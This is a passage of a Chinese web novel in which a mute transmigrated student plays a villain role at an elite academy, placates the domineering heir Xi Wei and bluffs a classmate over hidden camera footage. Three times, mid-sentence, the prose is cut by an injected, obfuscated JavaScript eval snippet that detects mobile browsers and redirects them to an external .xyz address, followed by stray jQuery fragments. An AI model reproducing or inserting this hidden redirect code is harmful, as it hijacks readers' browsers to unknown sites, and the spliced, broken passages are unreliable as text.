隔着昏沉的光和影,他身形舒展,坐在那里,语气随意地示意倪知:“过来。”
他的语气并不算多么过分,甚至算得上和颜悦色,可整个包厢的空气都猛地变得冰冷。
倪知还没有动,尤白羽已经紧紧握住他的腕子,将他护在身后:“席少,小知他什么都不懂,我是他哥哥,您有什么事和我说就好。”
握在腕上的手有些发抖。
尤白羽在害怕。
学校里教的是温良恭俭让,但封闭的学校,青春期的男生,无数荷尔蒙勃发,却又被禁锢压抑。在这里,某些时候很接近丛林法则,豢养出了一群疯子怪胎。
F4的四位少爷,却是法则的制定者。
是他带小知来应聘兼职,他比小知大,是小知的哥哥,所以就算再怕,他也要保护小知。
室内一片令人不安的沉默。
片刻,韩麟不耐烦道:“惟哥面前有你说话的地方?还不滚出去!”
虽然他语气不善,但尤白羽眼前一亮,知道韩麟是为他们解围,连忙拉着倪知要走。
可身后,席惟却忽然道:“我说了你们可以走了吗?”
尤白羽一颤,倪知却挣开了尤白羽的手。
尤白羽惊呼:“小知!”
倪知对他比了个手势:“别怕。”
刚刚没动,是想看看席惟要干什么。
没想到所有人都这么如临大敌。
但被尤白羽护在身后的时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957796|161005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,倪知却忽然有了一种熟悉感。
他以前也有哥哥,和尤白羽一样,无论什么危险,都会毫不犹豫保护他。
垂下眼睛,倪知掩去情绪,慢慢地走到席惟面前。
明明是他站着,席惟坐在沙发上,仰着头看他,但席惟的眉目锋利英俊得不像话,下颌线条清晰分明,望人时没有一点情绪波动,让人根本生不出居高临下的感觉,反而觉得自己每一寸皮肤都被他扫视洞察。
是一种上位者独有的凝视感。
倪知对他了解不多,哪怕是原作,对他的介绍也不过寥寥数语。
唯一能知道的,大概就是他脾气不好。
原作里,F4的其他三人再坏,发疯也讲一个基本法,但他不是,他看起来喜怒不形于色,也不经常出手,但每一次都闹得很大。
其他人是在发疯,他是真疯。
对一个疯子,解释是没用的。
倪知突然干脆地在席惟身边坐下。
密切关注着这边的众人:?
席惟眉峰挑了一下,难得有了点情绪,目光注视着倪知,并没有什么动怒的意思。
倪知小心翼翼地打了个手语。
席惟问:“看不懂,说的什么?”
倪知打字,怯怯地把手机放到席惟面前:“我太害怕了,腿软没站稳。席哥对不起,我来替您包扎好吗?”
随着他的动作,ooc值急速地下降。
果然有用!
刚刚尤白羽的话给了他灵感。试验之后,他确定了,ooc值除了随着时间推移慢慢恢复,原来还可以这样降下去。
Ooc之后,只要装乖装老实,给系统一个可以接受的理由就行。
其实坐在地上效果更好,但倪知有轻微洁癖,实在不想委屈自己。
席惟没说话,静静看着他。
他的眼神很有重量感,沉沉地压过来,配合上安静的包厢,像是将空气都给抽走了,让人忍不住就心跳加速。
不是害怕,是一种被大型食肉动物盯上后,下意识的反应。
倪知配合地全身颤抖,放在膝上的指尖痉挛着绞在一起,苍白单薄的肌肤下,透出淡淡的玫瑰花色,他的下颌很尖,淡色的唇抿紧了,像是潮湿的月亮,泛着一种憔悴的艳丽,和老旧的镜框,形成一种鲜明的区别。
很像是什么毛茸茸的小动物,柔弱无害,天真驯顺,乖得让人不忍心欺负他。
席惟笑道:“害怕什么?我又不会吃了你。”
他扫了人群一眼,立刻有人拿了医药箱过来递给倪知。
倪知取出红药水,小心翼翼地捧着席惟的手,替他消毒上药。
当他低头时,发丝滑落,连尖尖的下颌,也一同淹没。
有几缕划过席惟的指,缠绕如同暧昧。
席惟忽然伸手,想要摘下他的眼镜。
倪知头也不抬,手比脑快,挥手把他拍开。
“啪”地一声,是手指扇在手背上的声音。
干脆、利落,清脆得饱富美感。
倪知一僵,后知后觉抬起头来看向席惟。
席惟表情没有很明显的变化,甚至连扬起的唇角都没有落下去。
只是漆黑的眼底冷而淡,似是冰山,海平面之上风平浪静,海平面之下,却已晦涩难明。
完蛋,顺手了。
倪知很擅长处理想要对自己动手动脚的人,因为太过轻车熟路,所以完全出于本能反应。
但如今人在屋檐下,他弄伤席惟一次就算了,现在居然又给了他一巴掌。
脑海里的红光又闪了起来,ooc值固定在危险的55%。
而席大少看他的眼神,已经像是在看死人了。
4. 04
04
倪知指尖一顿。
而后顶着席惟冷得骇人的视线,冷静地上好最后一点药后,将席惟的手翻转过去,指尖慢慢地在他掌心写字。
“别乱动,药还没上好。”
他的手指很细很细,慢慢地划过掌心时,引起一点愉悦的酥痒,沿着掌心的脉络一路蜿蜒,没过手腕、手臂,直至汇入心脏。
席惟手指动了动,像是想要收拢五指,将他的指尖握入掌心。
但到底没动。
因为倪知已经放开了手,又拿了一个创可贴过来,温柔地贴在那道伤口上。
而后他勾起一点头发,低下头去,对着手背的伤口,轻轻地吹了一口气。
勾起的发下,是白得毫无血色的脸,像是什么霜雪玉石,被精心地雕琢出的肌肤,脸上一点多余的肉都没有,越发显得下颌伶仃。吹气时,两腮微微鼓起一点,带着点甜美的孩子气。
哪怕看不清眉目,也是很漂亮的半张脸。
轻轻的一阵风吹了过来,感知到的皮肤先是凉,而后发烫。
倪知双手捧着他的手,虔诚地轻轻放下后,语气轻快地打字:“吹一吹,痛痛飞走啦。”
很幼稚。
但是……有点可爱。
如果不是个小哑巴的话,这句话从他嘴里亲口说出来,应该是又甜又软的语气,又因为强壮镇定的紧张,音调里带着点颤抖,尾音拖得长了,像是撒娇。
很难说到底是哪一个步骤取悦到了席惟,被倪知误伤又拍了一巴掌后,他不但没有动怒,反倒笑了笑,又一次问倪知:“你叫什么?”
这对席惟来说很难得。
一句话重复两次。
其实他想查的话很容易,只要一声令下,自己从头到尾的资料都能送到他面前。
倪知干脆地打字:“倪知。”
席惟说:“是你。”
倪知有些惊讶:“你认识我吗?”
席惟只说:“我见过你。”
他的腿太长,也丝毫没有收敛的意思,倪知坐在他身边,半侧着身,贴身的侍应生制服被拉紧了,腰身箍得分明,席惟的腿插在两膝之间,倪知稍稍一动,就会不可避免地碰上,只能尽量维持一个姿势。
很优美,但也很累。
席惟明明察觉到了,偏偏装作没有,也不发话,就这么含笑看着倪知。
变态。
倪知自然地起身,向着他鞠了一躬,打字:“席哥,多谢您宽宏大量。”
一般人听他这么说,这件事大概也就算了。
可席惟说:“我没有宽宏大量的习惯。”
倪知一顿。
席惟却又笑了:“开个玩笑。”
完全不好笑!
倪知装作受宠若惊:“谢谢席哥,您真是个大好人!”
这马屁拍得浅显庸俗,席惟垂下眼去,像是对他失去了兴趣。
豪门大少的兴趣没了,到了他这个老实打工人下场的时候了。
倪知拉着尤白羽一起退场。
下了二楼,尤白羽才敢说话:“天呐,小知!刚刚真的好险!”
那可是席惟,小知居然给他来了两下——
货真价实的两下。
尤白羽说:“要是被席惟后援会那些人知道你干了什么,你就完蛋了。”
是的,这本校园文里,很古早地设定了F4后援团。
但是与时俱进,不仅有团推,还有单推,就是没有毒唯。
——他们是追星,不是想死,毒唯敢骂对家,他们敢吗?
粉丝数最多的居然不是大明星司一,而是章之桓,只能说温柔贵公子的人设实在很讨喜。
而席惟的粉丝是最狂热的。
毕竟他本来就是个疯批,粉丝疯一点也正常。
倪知自己也有点后悔。
如果知道会伤到席惟,他不会出手。
吸引一个有权有势却又很疯的人注意自己,是一件很危险的事情。
Ooc值虽然又降回了30%的安全线以内,但倪知有预感,只要自己和F4的人多接触,总会忍不住做一些让ooc值上升的事。
不是他有问题,是F4的人脑子和正常人不一样!
而且以前,他身边也不会有这么没眼色的人存在。
那个方雷都快要憋死了,就算是高贵的F4,就不能高抬贵臀,站起来开个窗吗!
人真死了,F4这四个人就真成了背着半部刑法的男主。
到时候原作也可以改名铁窗泪了。
拯救了整本书的倪知打字问跟过来的领班:“我们现在不在二楼了,那今晚的工资怎么算?”
做好事可以不留名,但工资必须算清楚!
领班刚刚快被吓死了,现在看倪知这么问,没好气说:“放心吧,照算。我们阎少可不是抠门的老板。”
又小声叮嘱他们:“今天没你们的事了,赶快回去,记得从后门走。”
离下班还有半个多小时,现在让他们走,是怕有人会堵他们。
尤白羽感激道:“谢谢领班。”
两个人飞速地换好衣服,很低调地从后门出去。
九月底的夜晚,风里已经有了冷意,夜风卷着洋紫荆花瓣和细细的雨丝,绵密地打湿天地。
尤白羽担心倪知会冷,变戏法一样从包里掏出一条长长的围巾,替倪知围在颈中。鹅黄色的围巾格外柔软,倪知整张脸都陷入暖意之中。
两人撑着一把伞往前走,尤白羽和他小声商量,明天来兼职的时候,还是只待在一楼就好。
他们是利用双休日兼职,这个时间,街上仍旧没有彻底安静,整条街灯红酒绿,形形色色的人不时路过。
倪知脚步忽然停下,望向街头一角。
路灯下,站着一个少年,身高一米七五以上,不超过一米八,但因为骨架比较小,整个人看起来纤细小巧,像是一把就能搂在怀里。巴掌大的桃心脸,猫一样的眼睛,特意染成浅棕色的头发,配上他的白皮肤,显得整个人都特别柔软无害。
他穿着一件浅咖色的大衣,浑身的色调都是暖而淡,撑着透明的雨伞,伞柄也是白色,橙黄色的路灯落下,在他头顶凝成光圈,细雨如同金色的光柱,在伞面缓缓滑落。
路过的人都不时转头看他,他的五官不一定是最完美的,但是那种清纯梦幻的氛围感,却足以让所有人留下“他很漂亮”的印象。
尤白羽问:“怎么了?”
转头看过去,眉头紧皱:“怎么是他?”
顾霜纯怎么在这儿?
作为校花,顾霜纯在学校的知名度很高,拥有不少追求者,他除了人美之外,更出名的是心地善良,常年固定喂养校内的三十四只流浪猫,会弹钢琴,会画油画,在原作中,简直无可挑剔。
但别人不知道,尤白羽还不知道吗?
就是这个“傻白甜”,诬陷了小知,害得他一个人躲在厕所自杀,差点就真的死了!
尤白羽冷笑一声:“这个贱人,小知,我早晚会帮你报仇的!”
尤白羽一向是个小太阳,哪怕被人欺负,也很少会恶语相向,还是第一次露出这样厌恶的表情。
倪知忍不住笑了一下,轻轻地握了握尤白羽的手,尤白羽的表情这才缓和下来。
路灯下,顾霜纯忽然看了过来。
倪知那一头长发实在是太醒目,顾霜纯一眼就认出了他:“倪知?”
虽然刚刚尤白羽说要帮倪知报仇,却也知道,现在的他们并不是顾霜纯的对手。
他怕倪知被欺负,小声和倪知说:“别理他,我们走吧。”
倪知却没有动。
这还是他穿书之后,第一次看到顾霜纯。
和名字一样,看起来很清纯的少年。
倪知最清楚,一张漂亮的面孔能带给人多大的便利,他曾经体会过,而现在的顾霜纯,也将自己的天真烂漫利用得炉火纯青。
顾霜纯含笑走过来,如果不听他在说什么,只看表情,还以为是什么久别重逢的感人场面:“上次我听说你畏罪割腕了,现在看你还活着,真是太好了。”
尤白羽不满道:“你说什么!”
顾霜纯眨了眨眼:“怎么?我说错了吗?”
好贱。
尤白羽气得要命,很想给顾霜纯一巴掌。
倪知却拦住他。
学校有明确规定,不可以发生肢体冲突。
顾霜纯是故意想在这样的公开场所激怒他们。
很……低劣的手段。
一个白莲花而已。
倪知看着他,甚至还有点怀念。
好久没打这种低端局了。
顾霜纯还以为倪知是怕了自己,笑得更甜:“是咯,吃了一次亏就乖一点。不然我可不能保证,每次都像上次一样心慈手软哦~”
尤白羽气的脸都红了,倪知一手拉着他,一手打了一行字出来。
他打的很慢,并不是深思
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957797|161005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
熟虑,更像是懒得理顾霜纯。
而后以一种逗弄的姿态,漫不经心地举到顾霜纯面前。
顾霜纯莫名就觉得自己被轻视了,但是又说不上来倪知具体哪里看不起他了,只觉得倪知的每个动作都很随意,却又特别优雅漂亮,把自己衬托得像是一只乱吠的疯狗。
他一个小哑巴,又能做出什么来?
顾霜纯故作轻松地笑了一声,努力也维持着优雅低头看去。
只是等看清屏幕上写的是什么,顾霜纯就笑不出来了。
——“你真以为,那天的琴房没有监控?”
死死盯着屏幕,顾霜纯瞳孔一凝。
那天的琴房,他特意弄坏了监控,这才栽赃倪知偷了自己的东西。坏了的摄像头怎么继续拍摄监控录像?倪知现在这么说,只是想让他自乱阵脚而已。
想到这里,顾霜纯又冷静下来。
倪知会自杀是个意外。
在顾霜纯看来,自己的所做,只是对倪知小惩大诫罢了。
这个不起眼的男生,居然会是自己的哥哥,他有什么资格和自己流着同样的血?
但自己连处分都没让他背!
这样就去死,真是太脆弱了。
顾霜纯面上仍是无辜柔弱的姿态:“你在说什么,我不明白。”
倪知打字:“琴房的监控坏了,但窗外的没有,猜猜看,琴房外的摄像头,会不会正好就录到了什么?”
顾霜纯的琴房,不是最大的,但是却是风景最好的一间,座落在一片樱花树林中,三面都是大幅落地窗。日光落进去的时候,无论是谁,都能看到繁花之中,他刻苦练习钢琴唯美空灵的身影。
但同样的,外面的摄像头,也能毫无遮挡地录到室内。
顾霜纯的冷汗一下子落了下来。
他不可思议地看着倪知,嘴上还是很硬:“你……你胡说八道吧。你现在这样说,那天怎么不解释?”
尤白羽眼看着顾霜纯从趾高气昂再到现在的支支吾吾,立刻就知道倪知说的是真的。
小知居然有这一手!
尤白羽看着倪知眼睛发亮。
倪知却觉得很无聊。
自己居然沦落到要和顾霜纯这种人同台竞技。
但察觉到尤白羽亮闪闪的期待视线,倪知继续打字:“这好办,咱们明天就一起去保安处查监控,一定要还你一个公道嘛。”
谁还不会阴阳怪气了?
脑中的系统没有反应,说明这种嘴仗是符合人设的。
大概在顾霜纯这个主角受眼里,倪知本来就是一个装老实的反派,所以倪知现在和他吵架也是很正常的一件事。
如果是这样的话……可操作的空间就多了。
倪知看着顾霜纯若有所思。
顾霜纯却心虚至极。
他哪里经得起查!
他那时诬陷倪知只是一时兴起,事后就抛到脑后。怎么会想得到,倪知居然观察到琴房外还有摄像头!
顾霜纯色厉内荏:“我可没功夫和你们这些贱民闹着玩。不要以为进了崇德就可以和我们平起平坐了,特招生就是特招生,等大学毕业滚出崇德,连我们的面都别想再见!”
他嘴上撒了气,转身就走,生怕会被倪知和尤白羽纠缠,真的去保安处。
明天……啊不,今晚,今晚他就要打电话给妈妈,让妈妈赶快联系人把录像给删掉!
只是没走两步,有什么突然重重撞在了他的腿弯。顾霜纯脚下一软,直接脸朝下滚在了积水里面。
这还不算完。
顾霜纯还没从地上爬起来,就看到从面前的L''enfer大门里,走出来了一行人。
最前面的两人,腿都是又长又笔直,一个穿着军靴,一个穿着皮鞋,全都一尘不染,擦得锃亮,哪怕踏入雨中时,也有一种闲庭信步的优雅感。
从顾霜纯的角度看去,刚好能看到两张英俊到闪闪发光的面孔,正居高临下地看向他。
章之桓和司一!
明明刚刚顾霜纯是特意来等他们的,可现在却宁可他们没有出现,就不会看到自己这样狼狈的一面!
只是两人偏偏在他面前停下。
顾霜纯听到了一个熟悉的声音,含笑问他:“这是怎么了?”
“之桓哥……”只是一个瞬间,顾霜纯的眼里就蓄满了泪水,他缓缓抬起头来,用自己最可怜无助的角度,含情脉脉看向章之桓,“我被欺负了,你一定要为我做主啊!”
5. 05
05
朦胧的雨夜,柔弱无助的校花,多情泪眼凝视下的求助。
像是一段爱情故事的开头。
但章之桓只是笑眯眯地站在那里。
身后的跟班替章之桓撑着伞,明明章之桓手里没有东西,却也没有将顾霜纯从地上扶起来的意思,只是轻描淡写地问:“谁欺负你了?”
顾霜纯见章之桓不来扶他,只好自己从地上爬起来,恨恨道:“是倪知!他上次偷了我的东西,这次又把我给推倒了!实在是太恶毒了!”
章之桓笑了笑:“是吗?可他离你那么远,怎么能推得到你?”
顾霜纯:“什么?”
在他的想象里,肯定是倪知把他给绊倒的,现在应该离他不远。
可回头看去,倪知却依旧站在原地,丝毫没有靠近他的意思。
顾霜纯反应很快,立刻道:“他绊倒了我,居然跑得这么快!”
他穿的本来就是浅色的衣服,现在身上黑一块白一块,特意做了造型蓬松柔软的发也被雨水淋得塌了下去,整个人看起来特别狼狈,又这样蛮不讲理地说话,丝毫没有平日里清纯校花的样子。
而倪知站在那里,身形高挑瘦削,脖子里裹着的围巾有些松了,露出一线雪色脖颈,其他的地方仍旧包裹得严严实实,就像是还未绽开的玫瑰花蕾,提前被人破开了一道口子,里面的艳色无法遮掩,就这样潋滟地漾了出来。
司一一直站在旁边,此刻视线在倪知身上凝了一瞬,这才不耐烦道:“从你摔倒到现在,他一步都没动过。”
顾霜纯下意识尖叫道:“我不信!”
那他总不能是自己摔倒的吧?!
司一扫他一眼,冷冷问:“你是在质疑我?”
顾霜纯这才反应过来自己做了什么,慌慌张张解释说:“不是……司一哥,我只是……”
蠢货。
司一越过他向前走去,从头到尾,注意力都不在他这里。
顾霜纯涨红了脸,无助地看向章之桓。
章之桓笑容温润无害,示意手下扶住顾霜纯——
免得他情绪激动,带着一身泥水往自己身上扑。
可惜他还是走慢了一步。
顾霜纯双目含泪,楚楚可怜地喊他说:“之桓哥,那你能送我回去吗?这么晚了,我一个人好怕。”
他现在看起来是真的很可怜,声音带着哭腔,特别能激发男人的保护欲。
可章之桓毫不动容,只是说:“校内治安不错。”
顾霜纯咬了咬牙:“可妈妈说,我们两家向来交好,要你多照顾我的。”
顾霜纯嘴里的妈妈,在圈子里也是位传奇人物。
身为明家三小姐,偏偏喜欢上一个穷男人,甚至不顾他已经结婚,私下委身于他做了小三,还软磨硬泡逼着男人结婚,终于得偿所愿转正。那个穷男人也不是什么好东西,说凤凰男都抬举了他,凤凰男起码还有一技之长,可他除了一张脸之外,没有任何能拿得出手的东西,抛妻弃子,道德败坏。
夫妻两人,都是圈内出名的笑柄。
无奈明家确实和章家关系不错。
章之桓捏了捏眉心,看到那边,司一已经走到了倪知面前,低头说着什么。
……算了。
章之桓原本也想去逗逗倪知。
一个特招生,胆大包天,居然敢伤到席惟。
最离奇的是,席惟居然没生气。
这样的事可是太稀奇了。
学校生活太无聊,章之桓想给自己找点乐子,想到在席惟身边吓得瑟瑟发抖的小东西,他就很好奇,如果再吓一吓,小东西会不会哭呢?
可惜司一捷足先登了。
一辆大奔驶来,在雨中缓缓停下。
章之桓神情不变,连嘴角的弧度都和刚刚一般无二,含笑对顾霜纯说:“上车吧。”
之桓哥居然真的要亲自送他回去!
顾霜纯喜出望外,连忙上了车,又转头含羞带怯对门外的章之桓说:“之桓哥,弄脏你的车实在不好意思。”
车外,章之桓却没有上车,只是微微弯下腰来,笑眯眯说:“不用客气,这不是我的车。既然你害怕,我就让老周送你回去。”
老周是他的司机。
顾霜纯刚要说话,章之桓反手一甩,将车门关上。
车子立刻发动,驶入夜幕。
章之桓笑着,但眼里的情绪却很淡:“去查,是谁把我们的行踪泄露给他的。”
一直以来,顾霜纯一直缠着他们四个人,除了席惟不敢接近之外,剩下三人,都被他骚扰过。现在居然胆大包天到,跑到酒吧门口来堵人。
就是不知道,是他自己的主意,还是他母亲明滢的指示。
一辆银灰色的宾利缓缓驶来,章之桓坐上车后,吩咐说:“顾霜纯坐过的那辆车,处理了吧。”
被蠢人坐了,就算那车是给手下人开的,也怕沾上蠢气。
-
十分钟前。
顾霜纯转身离开后,尤白羽有些担心:“小知,琴房外的监控视频你拿到了吗?”
倪知摇了摇头:“没有。”
尤白羽担心道:“早知道就不和他吵架了,万一他跑去删了怎么办?”
倪知闻言笑了笑:“他做不到。”
这所学校的监控设置的很巧妙,倪知观察过,被精准地分成了两部分,确保所有需要监控的场所,第一部分监控失效后,第二部分还可以照常运行。
尤白羽压低声音:“你别看他姓顾,其实是明家人。就是那个上郡明家。”
新港洲人习惯把十三郡分为上三郡和下三郡,顾名思义,上郡住的全是有权有势惹不起的人。
原主真的是一个老实人。
哪怕选择了自杀,都没有把自己和顾霜纯的关系说出来,甚至连尤白羽都不知道。
倪知打字说:“保卫处的监控录像明家敢删,席家手里的,他删的掉吗?”
尤白羽:“你怎么知道席家手里也有?”
倪知:“我拆了一个摄像头,那上面是席家的紫荆花家徽。以席家对崇德的掌控,不可能不留备份。”
连特招生的校徽设计都要管,席家在崇德学院的掌权者绝对是个控制狂。
尤白羽:……
都不知道该不该夸他胆大心细了。
这胆子也太大了!
两人交谈间,顾霜纯已经走到L''enfer门口。
原作里,尤白羽经常跑来L''enfer,但从来没进去过——
毕竟他可是清纯校花,进酒吧不符合人设。
差点把他给忘了。
倪知随手拾起一枚小石子,毫无前摇地丢向顾霜纯,精准地砸在顾霜纯膝窝。
顾霜纯应声倒地,倪知收回手来,满意地翘起唇角。
这次没有失手。
时机恰当,力度刚好,顾霜纯正好摔在了水坑里。
因为这个举动,ooc值上涨了10%,但倪知觉得还是挺划算的。
顾霜纯那么讲究仪态,时刻都紧绷着氛围感美人的派头,也该让他体会一下什么叫做狼狈了。
尤白羽没看到他的动作,只看到顾霜纯突然扑街,瞪大眼睛:“顾霜纯这么大的人了,走路还能摔跤啊?”
倪知打字:“夜路走多了,总会崴脚。”
尤白羽“哼”了一声:“他这样的讨厌鬼,摔一百跤也不为过。”
酒吧里,章之桓和司一忽然走了出来,停在顾霜纯面前,和他说着什么。顾霜纯一边哭,一边转身对着他们指指点点。
尤白羽警觉:“他不会是在告状吧?我们离他这么远,这也能栽赃的吗?”
倪知漫不经心:“随他。”
被发现也无所谓,反正原作里自己就是反派,恶毒一点也很正常吧。
就是没想到顾霜纯会正好摔在F4的两人面前。
真是赚了。
雨丝细密,似银色的丝线,倪知没有撑伞,静静站在那里,凝视着从地上爬起来的顾霜纯。他长长的发被打湿,闪烁着珍珠一样的色泽,风吹动发梢,苍白的肌肤若隐若现。
头顶忽然被雨伞遮住,倪知抬起眼睛,看到司一正站在他的面前。
雨伞很大,黑色的伞面,深胡桃木的伞柄,握在上面的手筋骨挺拔,指很长,半指手套上,铆钉闪烁冷色的光。
一般人被突然接近,总会下意识后退,倪知却没动,他像是很习惯被人这样照顾,只是微微抬起一点头,确认了来人是谁后,就又百无聊赖地低下头去,丝毫没有任何看到他后应有的情绪。
比如激动、紧张、畏惧之类的。
司一很少遇到这种在他面前,一点情绪波动都没的人,审视地扫视他后,开门见山道:“刚刚顾霜纯摔倒,是你做的吧?”
尤白羽不满:“你也不能顾霜纯说什么就信什么吧!我们碰都没碰他一下,这也能找我们的麻烦啊。”
司一说:“没问你,闭嘴。”
尤白羽不闭嘴:“就算你是F4,也要讲道理吧?”
司一懒得理他,直接伸手,去抓倪知的手腕。
他动作太突然,手指握住倪知手腕的时候,倪知下意识想反抗,却又克制住了。
刚刚已经得罪了席惟,总不能一天之内对F4的两个人动手。
而且……
Ooc值上升了。
升的很快,几乎一瞬间,就飙升到了警戒范围。
红光闪烁,压迫感十足
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957798|161005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,岌岌可危地卡在被惩罚的边缘。
倪知却很冷静,在脑中飞快地思考。
是因为司一认定,他欺负了顾霜纯?
所以……作为主角攻的一员,F4的人对他的看法,能够直接影响系统对他扮演的评判。哪怕别人都觉得他没有ooc,只要F4的人对他的印象和原作不符,系统就会直接判定他ooc?
……
什么印度系统!
这也分三六九等吗?
而且他一个反派,欺负顾霜纯这个主角受不是天经地义?原作里司一到底对他是什么鬼印象啊!
倪知差点被气笑了。
司一很不耐烦:“我在问这个小哑巴。”
他的手劲很大,隔着一层布料,也在皮肤上留下了淡淡的指痕。
倪知吃痛,身体却软下去,怯怯地打字:“我离他那么远,怎么会……”
语气温顺无害,比起顾霜纯装出来的柔弱,看起来要真的可怜乖巧得多。
演技也比顾霜纯要好得多。
司一十六岁混娱乐圈,见过的各种人多不胜数,根本不吃这一套。
但握在掌心的手腕太细,像是稍稍再一用力就会折断,动作间,袖口向上掀起,接触到的一点肌肤,滑腻得像是玉石,却远比玉石要更柔软温润。
司一看不清他的表情,可身体接触的部分不会骗人。
他在颤抖,像是疼,又像是害怕。
司一莫名其妙微微松开了手:“我看到了,那颗小石子,是你丢的。”
语气还是冷的,但ooc值下降了。
猜对了!
自己在司一心里的印象,正在回向正轨。
——一个可怜兮兮、柔弱无害的倒霉特招生。
在心里给自己比了个耶,倪知突然猛烈地挣扎起来。
司一怕伤到他,只好松开手。
他用力地将衣袖扯下来,想要遮住什么,司一这才看到,他的腕上居然有一线红痕,明显是用利刃划过后,愈合留下的痕迹。
司一问:“你割过腕?”
倪知死死咬住下唇,没有解释,低着头,一只手神经质地抓着手腕,指尖用力太过,微微发白,似是想要将那一道伤痕从皮肤上剜起来。
尤白羽忍无可忍,心疼地抱住倪知:“你们有完没完啊!你不去问问顾霜纯做过什么事,只会欺负我们小知吗!”
司一皱眉。
明明被这样顶撞,他该生气才对,但是视线里,似乎仍能看到在倪知腕上的那道伤痕。
很细的腕,苍白到一点血色都没有的皮肤,伤口似是凝固的玫瑰花汁,红白分明到,令人忍不住去想,刀尖划开手腕那一刻,会有多疼。
倪知忽然打字,唇紧紧抿着,看起来倔强而清冷,而后用力将手机递到他面前:“是我丢的石子,我就是想让他出丑。你可以告诉他,让他来找我的麻烦。”
不知道是雨还是什么,很大一颗掉下来,砸在屏幕上,那些字也被晕开了,像是泫然欲泣的眼,直直地砸到了他的心上。
司一沉默片刻,再开口时,语气虽然还是冷冷的,却又带着点解释的意思:“……我告诉他干什么。我就是随便问问。”
闪烁的红光冷却,两人之间的气氛不再剑拔弩张。
但倪知还是装作半信半疑,慢慢地打字问:“真的?”
司一“呵”了一声:“我没必要骗你。”
打字的手轻快起来,打出来的字也飞扬着,像是无论自己说什么,他都会无条件信任:“我相信你^ ^”
真是的,还有闲工夫打颜文字。
而且就这么相信他,是不是警惕心太低了,以后被别人骗了怎么办?
司一在心里笑了一声,又冷着脸问:“你和顾霜纯有过节?”
倪知轻轻地摇了摇头,比了句手语,却也没让尤白羽替自己翻译。
欲拒还迎。
司一嗤之以鼻,忍了忍,却还是没忍住:“说了什么?”
倪知抬起头来,刘海盖住眉目,露出形状姣好的唇,此刻正微微挑起一点唇角,弧度狡黠,像是在对着他笑。
明明只露出了双唇和鼻尖,司一视线却凝在了上面。
倪知打了两个字:“你猜。”
司一:“喂!”
可他已经拉着尤白羽跑远了。
雨还在下着,他的身影融化在雨幕中,纤细灵巧,像是小鹿,看起来瘦得可怜。
空气潮湿,带着绿植被打湿后辛辣的清冽,道旁栽着的紫荆花树花枝零落,夜深花倦,沉沉睡去。
司一呼出一口气来,嗤了一声,将脚边的小石子踢开。指尖却下意识地捻了两下,似乎还能感觉到和肌肤接触时那种软而滑腻的质感。
6. 06
06
回到宿舍的时候已经很晚了。
崇德学院到处都修缮得华丽典雅,唯独特招生住的宿舍楼,年代久远,上面爬满了大丛爬山虎,还有年久失修留下的皲裂痕迹,看起来阴森森的。
但,宿舍本身还是很不错的。
每间宿舍都是双人间,有独立厕所、浴室,空调冰箱洗衣机等一应俱全,能看得出来,全是最新款,而不是拿来敷衍的老弱病残。小露台、系统封窗、奶白色的纯棉遮光窗帘,上床下桌,过道宽敞,甚至可以申请免费开通千兆光纤。
说实话,比有些大学的豪华宿舍都要好了。
……大概在崇德管理层眼里,这样的条件已经很艰苦了吧。
倪知和尤白羽轮流去洗漱,等倪知洗完澡出来时,尤白羽已经睡着了。
倪知轻手轻脚地关上灯,上了床之后也没有立刻入睡,而是躺在那里静静地反思了一下。
本来还觉得这个任务不难,现在看来,老实人这个人设,他演得实在很一般。
尤其是条件反射对着席惟动手,更是失误中的失误。
还好他会装可怜。
这些大少爷,好像还是挺吃这一套——顾霜纯能在崇德学院肆无忌惮,正好说明了这一点。
装乖装甜装可怜,倪知过去做得驾轻就熟。
身体不够强大,美貌却可以作为武器。
如果他真把校花的名头从顾霜纯手里抢过来,顾霜纯大概会气的呕血吧?
除了这个,还能抢什么呢……
顾霜纯今天精心打扮后出现在酒吧门口,不难判断,他是在等F4的人。
看来顾霜纯的母亲自己虽然为了爱情下嫁给穷小子,却不希望儿子重蹈覆辙,这么早早的,就开始培养儿子钓金龟婿。
倪知在脑海里问系统:“我要是真把顾霜纯的感情线都给破坏了,算ooc吗?”
机械的系统提示音响了起来:“暂未检测到宿主有不符合角色设定行为,目前ooc值:30%。”
没变化?
倪知又试探着问:“要是我把他的老公全抢了呢?”
系统还是呆滞地重复:“目前ooc值:30%。”
哇?
他抢顾霜纯的男人不算ooc?
所以说在原作里,原主的人物形象就是一个看起来老实,实际上想破坏主角受感情、抢主角受老公的恶毒小绿茶。
……不愧是从顾霜纯视角写的故事,人物逻辑和顾霜纯一样。
又蠢又坏。
